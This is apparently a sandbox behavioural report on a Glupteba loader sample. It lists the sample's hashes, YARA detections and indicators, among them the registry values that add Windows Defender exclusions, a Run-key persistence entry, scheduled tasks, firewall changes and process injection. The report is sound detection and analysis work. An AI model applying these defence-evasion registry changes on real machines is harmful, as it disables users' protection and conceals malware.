glupteba | a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

General

Target

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Size

4.0MB
MD5

e006b2b08833a38314bad962b8e549eb
SHA1

289e9b527460258ce38402604b82ab1784b93229
SHA256

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
SHA512

2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
SSDEEP

98304:rGCKnQtyq51ek1S7mP13ds372CfpMyc61mEy6Ti9Hvti2:rzKfS1ehmd3IZfpJc6HLTOHvp

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1924-56-0x0000000004BF0000-0x00000000052E6000-memory.dmp	family_glupteba
behavioral1/memory/1924-57-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/1924-58-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/1924-59-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/596-62-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/596-70-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/1856-73-0x0000000004C60000-0x0000000005356000-memory.dmp	family_glupteba
behavioral1/memory/1856-74-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral1/memory/1856-75-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\172e420dfb7b.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\172e420dfb7b\172e420dfb7b = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldHaze = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

1856 csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

884 netsh.exe

pid	process
1856	csrss.exe

pid	process
884	netsh.exe

Loads dropped DLL 2 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

pid	process
596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\172e420dfb7b\172e420dfb7b = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldHaze = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\172e420dfb7b.exe = "0"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\OldHaze = "\"C:\\Windows\\rss\\csrss.exe\""	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

makecab.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
File created	C:\Windows\Logs\CBS\CbsPersist_20230129172225.cab	makecab.exe
File opened for modification	C:\Windows\rss	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
File created	C:\Windows\rss\csrss.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1732 schtasks.exe
1716 schtasks.exe

pid	process
1732	schtasks.exe
1716	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

pid	process
1924	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	pid	process
Token: SeDebugPrivilege	1924	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Token: SeImpersonatePrivilege	1924	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.execmd.exe

description	pid	process	target process
PID 596 wrote to memory of 1068	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 596 wrote to memory of 1068	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 596 wrote to memory of 1068	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 596 wrote to memory of 1068	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 1068 wrote to memory of 884	1068	cmd.exe	netsh.exe
PID 1068 wrote to memory of 884	1068	cmd.exe	netsh.exe
PID 1068 wrote to memory of 884	1068	cmd.exe	netsh.exe
PID 596 wrote to memory of 1856	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
PID 596 wrote to memory of 1856	596	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
